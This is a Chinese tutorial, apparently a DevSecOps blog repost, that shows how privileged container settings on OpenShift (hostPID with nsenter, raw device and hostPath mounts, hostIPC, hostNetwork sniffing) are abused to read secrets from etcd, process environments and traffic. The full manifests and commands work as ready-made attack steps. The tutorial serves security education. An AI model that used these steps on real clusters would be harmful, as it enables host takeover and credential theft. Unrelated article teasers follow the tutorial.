OpenShift - 利用容器的特权配置实现对OpenShift攻击

《OpenShift / RHEL / DevSecOps 汇总目录》
说明:本文已经在 OpenShift 4.13 的环境中验证

本文是《容器安全 - 利用容器的特权配置实现对Kubernetes攻击》的后续篇,来介绍 在 OpenShift 环境中的容器特权配置和攻击过程和 Kubernetes 环境的差异。

文章目录

  • 准备环境
  • 利用特权配置对Kubernetes容器攻击
    • privileged + hostpid
      • 获取 ETCD 中的数据
      • 获取 PID 的运行参数
    • privileged
    • privileged+hostpath
    • hostipc
    • privileged+hostnetwork
  • 参考

准备环境

  1. 执行命令可以看到该 OpenShift 集群的相关节点。
$ oc get node -owide
NAME                            STATUS   ROLES                  AGE   VERSION           INTERNAL-IP   EXTERNAL-IP   OS-IMAGE                                                       KERNEL-VERSION                 CONTAINER-RUNTIME
control-plane-cluster-fbt6n-1   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.10   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
control-plane-cluster-fbt6n-2   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.11   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
control-plane-cluster-fbt6n-3   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.12   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
worker-cluster-fbt6n-1          Ready    worker                 28h   v1.26.9+c7606e7   10.10.10.20   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
worker-cluster-fbt6n-2          Ready    worker                 28h   v1.26.9+c7606e7   10.10.10.21   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
  1. 创建新的 project,并确认标签默认包含有 “pod-security.kubernetes.io” 相关内容。 这是由于 OpenShift 默认对资源施加了 pod-security 策略。
$ oc new-project pod-security
$ oc get ns pod-security -ojsonpath={.metadata.labels} | jq
{
  "kubernetes.io/metadata.name": "pod-security",
  "pod-security.kubernetes.io/audit": "privileged",
  "pod-security.kubernetes.io/audit-version": "v1.24",
  "pod-security.kubernetes.io/warn": "privileged",
  "pod-security.kubernetes.io/warn-version": "v1.24"
}
  1. 尝试删除 Project 或 Namespace 的 pod-security.kubernetes.io 相关标签配置,确认系统提示无法修改。这是因为 OpenShift 对资源施加的 pod-security 策略是强制的,虽然不能通过上述标签关闭此功能,但可以通过显示声明的方式使用特权模式运行 Pod。
  2. 为了后面的测试,我们在集群中创建一个被攻击的 Secret 以及一个验证目录 test。
$ oc create secret generic my-secret \
    --from-literal=username=myadmin \
    --from-literal=password='mypass'
  1. 为本文采用标准 OpenShift 集群,在后面配置中有些需要强行让 Pod 运行在指定节点上。设置后面使用的 Master 和 Worker 节点名称。
$ MASTER_NODE=control-plane-cluster-fbt6n-3
$ WORKER_NODE=worker-cluster-fbt6n-3

利用特权配置对Kubernetes容器攻击

privileged + hostpid

获取 ETCD 中的数据

当 privileged 设为 true 时容器会以特权运行,而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程,并允许进入这些进程的命名空间。

  1. 执行以下命令创建包含 privileged + hostpid 配置的部署。从对应 Pod 可进入属于 Master 宿主机的 init system (PID 1 进程) ,从而能访问宿主机文件系统并在宿主机上执行命令。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv-and-hostpid-1
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv-and-hostpid-1
  template:
    metadata:
      labels:
        app: priv-and-hostpid-1
    spec:
      nodeName: ${MASTER_NODE}
      hostPID: true
      containers:
        - name: priv-and-hostpid
          image: ubuntu
          tty: true
          securityContext:
            privileged: true
          command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
EOF
  1. 在 OpenShift 控制台中可以看到部署告警,其中包含 Privileged containers are not allowed 的提示。这是因为在 OpenShift 中运行特权容器需要通过有权限的 serviceaccount 才可以。
    在这里插入图片描述

  2. 为了能部署运行特权容器,可通过以下三步实现:先创建一个 serviceaccount,然后再赋予 serviceaccount 以 privileged 的 SCC 权限,最后再将 serviceaccount 设给 deployment。

$ oc describe scc privileged
Name:                                           privileged
Priority:                                       <none>
Access:
  Users:                                        system:admin,system:serviceaccount:openshift-infra:build-controller
  Groups:                                       system:cluster-admins,system:nodes,system:masters
Settings:
  Allow Privileged:                             true
  Allow Privilege Escalation:                   true
  Default Add Capabilities:                     <none>
  Required Drop Capabilities:                   <none>
  Allowed Capabilities:                         *
  Allowed Seccomp Profiles:                     *
  Allowed Volume Types:                         *
  Allowed Flexvolumes:                          <all>
  Allowed Unsafe Sysctls:                       *
  Forbidden Sysctls:                            <none>
  Allow Host Network:                           true
  Allow Host Ports:                             true
  Allow Host PID:                               true
  Allow Host IPC:                               true
  Read Only Root Filesystem:                    false
  Run As User Strategy: RunAsAny
    UID:                                        <none>
    UID Range Min:                              <none>
    UID Range Max:                              <none>
  SELinux Context Strategy: RunAsAny
    User:                                       <none>
    Role:                                       <none>
    Type:                                       <none>
    Level:                                      <none>
  FSGroup Strategy: RunAsAny
    Ranges:                                     <none>
  Supplemental Groups Strategy: RunAsAny
    Ranges:                                     <none>

$ oc create sa sa-privileged
$ oc adm policy add-scc-to-user privileged -z sa-privileged
$ oc set sa deploy priv-and-hostpid-1 sa-privileged
  1. 确认 pod 已经能正常部署和运行。
$ oc get pod -l app=priv-and-hostpid-1 -owide
NAME                                  READY   STATUS    RESTARTS   AGE   IP            NODE                            NOMINATED NODE   READINESS GATES
priv-and-hostpid-1-795ff5bcdb-bslxj   1/1     Running   0          10m   10.133.0.35   control-plane-cluster-fbt6n-3   <none>           <none>
  1. 由于 Pod 中没有 strings 命令,因此需要先将 etcd 数据库从 master 节点中复制到本地。
$ oc cp $(oc get pod -l app=priv-and-hostpid-1 -o custom-columns=:metadata.name --no-headers):/var/lib/etcd/member/snap/db ~/db
tar: Removing leading `/' from member names
tar: /var/lib/etcd/member/snap/db: file changed as we read it

$ ll ~/db
-rw-r--r--. 1 dawnsky dawnsky 127393792 10月29日 10:38 /home/dawnsky/db
  1. 使用本地的 strings 工具从 etcd 数据库中可以获取到 my-secret 中的敏感数据。
$ yum install binutils
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
        my-secret
pod-security"
*$a2e0359e-8a52-479c-a7b5-62e1d33520c32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

获取 PID 的运行参数

当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程,还包括在 pod 中运行的进程以及 pod 的环境变量(/proc/[PID]/environ 文件)和 pod 的文件描述符(/proc/[PID]/fd[X])。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外,还可以通过 kill 进程来危害 Kubernetes 集群的运行。

  1. 执行命令运行具有 hostpid 特性的 Pod。
$ cat << EOF | kubectl apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv-and-hostpid-2
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv-and-hostpid-2
  template:
    metadata:
      labels:
        app: priv-and-hostpid-2
        apps: priv-and-hostpid-2
    spec:
      hostPID: true
      nodeName: ${WORKER_NODE}
      containers:
        - name: priv-and-hostpid
          image: ubuntu
          securityContext:
            privileged: true
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
EOF
  1. 执行以下命令,为部署设置有 privileged 权限的 serviceaccount。
$ oc set sa deploy priv-and-hostpid-2 sa-privileged
  1. 再运行另一个使用测试 Secret 的 Pod。
$ cat << EOF | kubectl apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: mypasswd
spec:
  replicas: 1
  selector:
    matchLabels:
      app: mypasswd
  template:
    metadata:
      labels:
        app: mypasswd
        apps: priv-and-hostpid-2
    spec:
      nodeName: ${WORKER_NODE}
      containers:
        - name: mysql
          image: busybox
          command: ['sh', '-c', 'echo "Hello, OpenShift!" && sleep 1000']
          env:
            - name: MY_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: my-secret
                  key: password
EOF
  1. 确认 2 个 Pod 都运行在一个 Node 上。
$ oc get pod -l apps=priv-and-hostpid-2 -owide
NAME                                READY   STATUS    RESTARTS   AGE    IP            NODE                     NOMINATED NODE   READINESS GATES
priv-and-hostpid-2-bbcc56f5-nzjnr   1/1     Running   0          51s    10.133.2.26   worker-cluster-fbt6n-3   <none>           <none>
mypasswd-9f488448d-drtqt            1/1     Running   0          34s    10.133.2.27   worker-cluster-fbt6n-3   <none>           <none>
  1. 进入 priv-and-hostpid-pod-2-bbcc56f5-nzjn 的 Pod,然后确认可以在 /proc/*/environ 中查找到 MY_PASSWORD 关键字和对应的内容。
$ oc exec -it $(oc get pod -l app=priv-and-hostpid-2 -o custom-columns=:metadata.name --no-headers) -- bash
root@hostpid-pod-bbcc56f5-nzjnr:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-pod-bbcc56f5-nzjnr:/# cat envs.txt | grep MY_PASSWORD
MY_PASSWORD=mypass

privileged

当 privileged 设为 true 时容器会以特权运行,这样可以从容器中访问宿主机的任何设备。

  1. 执行命令创建具有 privileged 配置的部署,完成后可以看到如前一个场景的截图一样提示 Privileged containers are not allowed。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv
  template:
    metadata:
      labels:
        app: priv
    spec:
      nodeName: ${MASTER_NODE}
      containers:
        - name: priv
          image: redhat/ubi8-init
          securityContext:
            privileged: true
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
EOF
  1. 将 sa-privileged 设置到 priv-pod 部署后可以确认 pod 正常运行。
$ oc set sa deploy priv sa-privileged

$ oc get pod -l app=priv -owide
NAME                  READY   STATUS    RESTARTS   AGE   IP            NODE                            NOMINATED NODE   READINESS GATES
priv-ddb749c9-zwtl8   1/1     Running   0          8s    10.133.0.40   control-plane-cluster-fbt6n-3   <none>           <none>
  1. 执行命令查看分区,其中 /dev/vdb1 为代表宿主机存储的设备。
$ oc exec -it $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers) -- bash
[root@priv-6d78db564c-x6ctf /]]# fdisk -l
Disk /dev/vda: 100 GiB, 107374182400 bytes, 209715200 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: FBCD7991-A9CA-47A4-9AD7-5D4D70718039

Device       Start       End   Sectors  Size Type
/dev/vda1     2048      4095      2048    1M BIOS boot
/dev/vda2     4096    264191    260096  127M EFI System
/dev/vda3   264192   1050623    786432  384M Linux filesystem
/dev/vda4  1050624 209715166 208664543 99.5G Linux filesystem


Disk /dev/vdb: 30 GiB, 32212254720 bytes, 62914560 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 13B5BB15-3757-4FED-A554-849DC2AE15B3

Device     Start      End  Sectors Size Type
/dev/vdb1   2048 62914526 62912479  30G Linux filesystem
  1. 将 /dev/vdb1 挂在到容器的 /host 目录下,确认可以看到 Master 宿主机的目录。
[root@priv-6d78db564c-x6ctf /]# mkdir /host
[root@priv-6d78db564c-x6ctf /]# mount /dev/vdb1 /host/
[root@priv-6d78db564c-x6ctf /]# ls /host/member/
snap  wal
$ oc cp $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers):/host/member/snap/db ~/db
tar: Removing leading `/' from member names
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
        my-secret
pod-security"
*$a2e0359e-8a52-479c-a7b5-62e1d33520c32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged+hostpath

通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中,从而获得宿主机文件系统的读/写权限。如果容器是运行在 master 节点上,则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。

  1. 执行命令运行具有 hostpath 特性的 Pod,它将挂载宿主机的 / 目录。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv-and-hostpath
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv-and-hostpath
  template:
    metadata:
      labels:
        app: priv-and-hostpath
    spec:
      nodeName: ${MASTER_NODE}
      containers:
        - name: priv-and-hostpath
          image: ubuntu
          securityContext:
            privileged: true
          volumeMounts:
          - mountPath: /host
            name: noderoot
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
      volumes:
        - name: noderoot
          hostPath:
            path: /
EOF
  1. 此时 Deployment 依然会提示部署告警,需要执行以下命令为部署设置有 privileged 权限的 serviceaccount。
$ oc set sa deploy priv-and-hostpath sa-privileged

$ oc get pod -l app=priv-and-hostpath -owide
NAME                                 READY   STATUS    RESTARTS   AGE    IP            NODE                            NOMINATED NODE   READINESS GATES
priv-and-hostpath-7bcd778596-r6prj   1/1     Running   0          102s   10.133.0.43   control-plane-cluster-fbt6n-3   <none>           <none>
  1. 通过 priv-and-hostpath 部署将 Master 节点的 ETCD 数据库文件复制到本地。
$ oc cp $(oc get pod -l app=priv-and-hostpath -o custom-columns=:metadata.name --no-headers):/host/var/lib/etcd/member/snap/db ~/db
tar: Removing leading `/' from member names
tar: /host/var/lib/etcd/member/snap/db: file changed as we read it
  1. 确认从宿主机上未加密 ETCD 数据库中获得到 Secret 敏感数据。
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
        my-secret
pod-security"
*$8c572ad6-8f66-48f5-97cb-cd79035208822
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

hostipc

当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间,利用 IPC 可以访问到保存在宿主机共享内存中的数据。

  1. 执行命令运行 2 个具有 hostipc 特性的 Deployment。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: hostipc-1
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hostipc-1
  template:
    metadata:
      labels:
        app: hostipc-1
        apps: hostipc
    spec:
      hostIPC: true
      nodeName: ${WORKER_NODE}
      containers:
        - name: hostipc
          image: ubuntu
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
---
kind: Deployment
apiVersion: apps/v1
metadata:
  name: hostipc-2
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hostipc-2
  template:
    metadata:
      labels:
        app: hostipc-2
        apps: hostipc
    spec:
      hostIPC: true
      nodeName: ${WORKER_NODE}
      containers:
        - name: hostipc
          image: ubuntu
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
EOF
  1. 执行以下命令,为 2 个部署设置有 privileged 权限的 serviceaccount。
$ oc set sa deploy hostipc-1 sa-privileged
$ oc set sa deploy hostipc-2 sa-privileged
  1. 查看 2 个 Pod 都运行在相同的 Node 上。
$ oc get pod -o wide -l apps=hostipc
NAME                         READY   STATUS    RESTARTS   AGE   IP            NODE                     NOMINATED NODE   READINESS GATES
hostipc-1-6b7474694f-k864f   1/1     Running   0          77s   10.135.0.12   worker-cluster-fbt6n-3   <none>           <none>
hostipc-2-849c6f5ff7-pbd7s   1/1     Running   0          78s   10.135.0.11   worker-cluster-fbt6n-3   <none>           <none>
  1. 先进入 hostipc-1-6b7474694f-k864f 的 Pod,将测试数据写入 IPC 共享区。
$ oc exec -it $(oc get pod -l app=hostipc-1 -o custom-columns=:metadata.name --no-headers) --  bash
root@hostipc-1-6b7474694f-k864f:/# echo "secretpassword" > /dev/shm/secretpassword.txt
root@hostipc-1-6b7474694f-k864f:/# exit
exit
  1. 再进入 hostipc-2-849c6f5ff7-pbd7 的 Pod,确认可以通过 IPC 共享区获取到 hostipc-1-6b7474694f-k864f 写入的测试数据。
$ oc exec -it $(oc get pod -l app=hostipc-2 -o custom-columns=:metadata.name --no-headers) -- more /dev/shm/secretpassword.txt 
secretpassword

privileged+hostnetwork

当 Pod 的 hostnetwork 为 true 时,pod 实际上用的是宿主机的网络地址空间:即 pod 使用的是宿主机 IP,而非 CNI 分配的 IP,端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分,因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。

  1. 执行命令,创建一个使用 hostnetwork 的 Pod 和一个普通 Deployment 及其对应的 Service。强制所有 Pod 都运行在 OpenShift 集群的一个 Worker 节点上。
$ cat << EOF | kubectl apply -f -
kind: Pod
apiVersion: v1
metadata:
  name: priv-and-hostnetwork
  labels:
    apps: priv-and-hostnetwork
spec:
  hostNetwork: true
  nodeName: ${WORKER_NODE}
  containers:
    - name: priv-and-hostnetwork
      command:
        - /bin/sh
      securityContext:
        privileged: true
      tty: true
      image: quay.io/openshift/origin-tests:4.14
---
apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: hello-openshift
  name: hello-openshift
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hello-openshift
  template:
    metadata:
      labels:
        app: hello-openshift
        apps: priv-and-hostnetwork
    spec:
      nodeName: ${WORKER_NODE}
      containers:
      - image: openshift/hello-openshift
        name: hello-openshift
        ports:
        - containerPort: 8080
          protocol: TCP
        - containerPort: 8888
          protocol: TCP
---
apiVersion: v1
kind: Service
metadata:
  name: hello-openshift
spec:
  type: NodePort
  ports:
    - nodePort: 32222
      port: 8080
  selector:
    app: hello-openshift
EOF
  1. 查看 2 个 Pod 都运行在相同的 Worker 节点上,另外普通 Pod 的 IP 使用的是容器网段 10.133.2.14,而启用 hostnetwork 的 Pod 使用的就是 Worker 宿主机节点的 IP 地址 10.10.10.22。
$ oc get pod -l apps=priv-and-hostnetwork -owide
NAME                               READY   STATUS    RESTARTS   AGE   IP            NODE                     NOMINATED NODE   READINESS GATES
hello-openshift-786967d498-vqzzs   1/1     Running   0          9s    10.133.2.31   worker-cluster-fbt6n-3   <none>           <none>
priv-and-hostnetwork               1/1     Running   0          9s    10.10.10.22   worker-cluster-fbt6n-3   <none>           <none>
  1. 查看普通 Pod 对应 Service 绑定的 nodeport 端口。
$ oc get svc hello-openshift -ojsonpath={.spec.ports[0].nodePort}
32222
  1. 进入 priv-and-hostnetwork 的 Pod,然后查看从容器可看到的 IP 配置。
$ oc exec -it priv-and-hostnetwork -- bash
[root@worker-cluster-fbt6n-3 /]# ip a
  1. 使用 tcpdump 开始嗅探到流经 32222 端口的 TCP 数据。
[root@worker-cluster-fbt6n-3 /]# tcpdump -s 0 -A 'tcp dst port 32222 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
  1. 在第二个终端里进入 Worker 节点,然后查看节点 IP 配置,确认它和第 4 步的 IP 地址相同。
$ oc debug node/${WORKER_NODE}
Temporary namespace openshift-debug-nrkr2 is created for debugging node...
Starting pod/worker-cluster-fbt6n-3-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.10.10.22
If you don't see a command prompt, try pressing enter.
sh-4.4# ip a
  1. 在第二个终端里使用的 IP 和 Service 绑定的 nodeport 访问运行在普通 Pod 中运行的 hello-openshift,确认可以正常访问。
sh-4.4# curl 10.10.10.22:32222
Hello OpenShift!
  1. 回到第 5 步的窗口,确认在 priv-and-hostnetwork 中已经可以嗅探到 Response 的数据。在真是情况下这些数据可以是敏感的业务数据,或是未经保护的密码等数据。
13:31:23.358854 IP worker-cluster-fbt6n-3.32222 > worker-cluster-fbt6n-2.59406: Flags [P.], seq 1:135, ack 81, win 478, options [nop,nop,TS val 2910336089 ecr 716100043], length 134
E...h.@.=...

.

.}....qT.........(......
.x4Y*...HTTP/1.1 200 OK
Date: Wed, 01 Nov 2023 13:31:23 GMT
Content-Length: 17
Content-Type: text/plain; charset=utf-8

Hello OpenShift!

参考

https://bishopfox.com/blog/kubernetes-pod-privilege-escalation
https://www.middlewareinventory.com/blog/tcpdump-capture-http-get-post-requests-apache-weblogic-websphere/
https://www.cnblogs.com/yechen2019/p/14690601.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/114819.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JVM——类的生命周期(加载阶段,连接阶段,初始化阶段)

目录 1.加载阶段2.连接阶段1.验证2.准备3.解析 3.初始化阶段4.总结 类的生命周期 1.加载阶段 ⚫ 1、加载(Loading)阶段第一步是类加载器根据类的全限定名通过不同的渠道以二进制流的方式获取字节码信息。 程序员可以使用Java代码拓展的不同的渠道。 ⚫ 2、类加载器在加载完类…

14.Eclipse全局查找字符,类,方法快捷键

eclipse开发中&#xff0c;查找会是一个经常用到的功能所以总结一下 1&#xff0c;查找一个类 Shift Ctrl h 或者 Shift Ctrl r 这种方式能快速的定位接口&#xff0c;类还有注解在那个包里面 2.综合查找 Ctrl H 这是一种综合查找 &#xff0c;可以用来查找 一个方法的…

selenium爬虫——以爬取澎湃新闻某搜索结果为例

文章目录 selenium爬虫——以爬取澎湃新闻某搜索结果为例前言需要导入的包需要避雷的点webdriver的版本要与浏览器一致如果使用爬虫打开了新网页&#xff0c;要记得跳转XPath和selector都可以直接复制爬取多网页时记得try打入word时调整字体的问题 完整程序扩展爬取效果 seleni…

【蓝桥杯】2023省赛H题

考察知识点&#xff1a;双向链表&#xff0c;小根堆 完整代码在文章末尾 题目 【问题描述】 给定一个长度为 N 的整数数列: A1,A2,...,AN。你要重复以下操作 K 次 :…

利用云计算和微服务架构开发可扩展的同城外卖APP

如今&#xff0c;同城外卖APP已经成为了人们点餐的主要方式之一。然而&#xff0c;要构建一款成功的同城外卖APP&#xff0c;不仅需要满足用户的需求&#xff0c;还需要具备可扩展性&#xff0c;以适应快速增长的用户和订单量。 一、了解同城外卖APP的需求 在着手开发同城外卖…

Doris:StreamLoad导入数据

目录 1.基本原理 2.支持数据格式 3.StreamLoad语法 3.1.请求参数 3.2.返回参数 4.StreamLoad实践 4.1.使用 curl命令 4.2.使用Java代码 Stream load 是一个同步的导入方式&#xff0c;用户通过发送 HTTP 协议发送请求将本地文件或数据流导入到 Doris 中。Stream load 主…

Git(七).git 文件夹瘦身,GitLab 永久删除文件

目录 一、问题背景二、问题复现2.1 新建项目2.2 上传大文件2.3 上传结果 三、解决方案3.1 GitLab备份与还原1&#xff09;备份2&#xff09;还原 3.2 删除方式一&#xff1a;git filter-repo 命令【推荐】1&#xff09;安装2&#xff09;删除本地仓库文件3&#xff09;重新关联…

深度学习实战:基于TensorFlow与OpenCV的手语识别系统

文章目录 写在前面基于TensorFlow与OpenCV的手语识别系统安装环境一、导入工具库二、导入数据集三、数据预处理四、训练模型基于CNN基于LeNet5基于ResNet50 五、模型预测基于OpenCV 写在后面 写在前面 本期内容&#xff1a;基于TensorFlow与OpenCV的手语识别系统 实验环境&…

333333333333

一、Map 接口 接下来讲的都是基于 jdk8 来开展的。 1.1 特点 1、Map 与 Collection 并列存在。Map 是用于保存具有映射关系的数据&#xff0c;即 key-value。 2、Map 中的 key 和 value 可以是任何引用类型的数据类型。 3、Map 中的 key 不允许重复&#xff0c;原因和 HashSet…

动态路由协议OSPF项目部署(二)

1. 静态和动态路由的区别&#xff1b; 2. OSPF协议通信过程与部署&#xff1b; 3. OSPF协议在项目上的应用场景 - OSPF - 开放式最短路径优先 - 一个动态路由协议 - 路由器转发数据 - 路由器需要一张地图 - 路由表 - 路由表如何构建的&#xff1f; - 依靠手动 或…

API接口加密,解决自动化中登录问题

一、加密方式 AES&#xff1a;对称加密&#xff0c;快RAS&#xff1a;非对称加密&#xff0c;慢AESRAS&#xff1a;安全高效 加密过程&#xff1a;字符串》字节流》加密的字节流&#xff08;算法&#xff09;&#xff0c;解密有可能出现乱码&#xff0c;所以不能直接转成字符…

【LeetCode】剑指 Offer Ⅱ 第8章:树(12道题) -- Java Version

题库链接&#xff1a;https://leetcode.cn/problem-list/e8X3pBZi/ 类型题目解决方案二叉树的深搜剑指 Offer II 047. 二叉树剪枝递归&#xff08;深搜&#xff09;&#xff1a;二叉树的后序遍历 &#xff08;⭐&#xff09;剑指 Offer II 048. 序列化和反序列化二叉树递归&…

吴恩达《机器学习》4-1->4-5:多变量线性回归

一、引入多维特征 在多维特征中&#xff0c;我们考虑的不再是单一的特征&#xff0c;而是一组特征&#xff0c;例如房价模型中可能包括房间数、楼层等多个特征。这些特征将组成一个向量&#xff0c;表示为(&#x1d465;₁, &#x1d465;₂, . . . , &#x1d465;ₙ)&#x…

【腾讯云HAI域探秘】速通腾讯云HAI

速览HAI 产品简介 腾讯云高性能应用服务(Hyper Application lnventor&#xff0c;HA)&#xff0c;是一款面向 Al、科学计算的 GPU 应用服务产品&#xff0c;为开发者量身打造的澎湃算力平台。无需复杂配置&#xff0c;便可享受即开即用的GPU云服务体验。在 HA] 中&#xff0c;…

配置git并把本地项目连接github

一.配置git 1.下载git&#xff08;Git&#xff09;&#xff0c;但推荐使用国内镜像下载&#xff08;CNPM Binaries Mirror&#xff09; 选好64和版本号下载&#xff0c;全部点下一步 下载完成后打开终端&#xff0c;输入 git --version 出现版本号则说明安装成功 然后继续…

Redis统计大法:挖掘数据的四重宝藏【redis第五部分】

Redis统计大法&#xff1a;挖掘数据的四重宝藏 前言第一&#xff1a;redis集合统计简介第二&#xff1a;聚合统计->数据的综合分析总和&#xff08;Sum&#xff09;&#xff1a;平均值&#xff08;Average&#xff09;中位数&#xff08;Median&#xff09; 第三&#xff1a…

【C++】多态 ⑪ ( 纯虚函数和抽象类 | 纯虚函数语法 | 抽象类和实现 | 代码示例 )

文章目录 一、纯虚函数和抽象类1、纯虚函数2、纯虚函数语法3、抽象类和实现 二、完整代码示例 一、纯虚函数和抽象类 1、纯虚函数 纯虚函数 : 在 C 语言中 , " 纯虚函数 " 是 特殊类型的 虚函数 , " 纯虚函数 " 在 父类 中 声明 , 但是没有实现 ; 抽象类 …

从瀑布模式到水母模式:ChatGPT引领软件研发的革新之路

ChatGPT引领软件研发的革新之路 概述操作建议本书优势 内容简介作者简介专家推荐读者对象目录直播预告写在末尾&#xff1a; 主页传送门&#xff1a;&#x1f4c0; 传送 概述 计算机技术的发展和互联网的普及&#xff0c;使信息处理和传输变得更加高效&#xff0c;极大地改变了…

Azure 机器学习 - 使用 AutoML 和 Python 训练物体检测模型

目录 一、Azure环境准备二、计算目标设置三、试验设置四、直观呈现输入数据五、上传数据并创建 MLTable六、配置物体检测试验适用于图像任务的自动超参数扫描 (AutoMode)适用于图像任务的手动超参数扫描作业限制 七、注册和部署模型获取最佳试用版注册模型配置联机终结点创建终…